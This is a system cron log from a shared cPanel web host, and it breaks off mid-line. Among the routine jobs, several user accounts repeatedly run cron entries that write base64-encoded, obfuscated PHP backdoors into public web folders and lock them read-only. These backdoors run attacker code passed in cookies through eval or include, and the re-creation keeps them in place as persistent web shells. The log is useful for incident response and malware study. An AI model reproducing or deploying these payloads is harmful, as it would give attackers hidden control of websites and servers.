Mar  2 08:25:02 medusa CROND[26477]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 08:26:01 medusa CROND[11146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:26:02 medusa CROND[11302]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 08:26:02 medusa CROND[11400]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:26:02 medusa CROND[11401]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 08:26:02 medusa CROND[11403]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:26:02 medusa CROND[11407]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:26:02 medusa CROND[11406]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:26:02 medusa CROND[11408]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:26:02 medusa CROND[11409]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:26:02 medusa CROND[11410]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:26:02 medusa CROND[11415]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:26:02 medusa CROND[11419]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:26:02 medusa CROND[11420]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:26:02 medusa CROND[11418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:27:01 medusa CROND[28208]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 08:27:01 medusa CROND[28282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:27:02 medusa CROND[28284]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:27:02 medusa CROND[28285]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:27:02 medusa CROND[28287]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:27:02 medusa CROND[28286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:27:02 medusa CROND[28288]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:27:02 medusa CROND[28293]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:27:02 medusa CROND[28299]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:27:02 medusa CROND[28301]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:27:02 medusa CROND[28304]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:27:02 medusa CROND[28306]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:28:01 medusa CROND[14536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:28:01 medusa CROND[14548]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_summary_rpm.cronlock /usr/sbin/cloudlinux-summary rpm-packages --send --json &> /dev/null)
Mar  2 08:28:01 medusa CROND[14761]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 08:28:01 medusa CROND[14763]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:28:01 medusa CROND[14764]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:28:01 medusa CROND[14762]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJ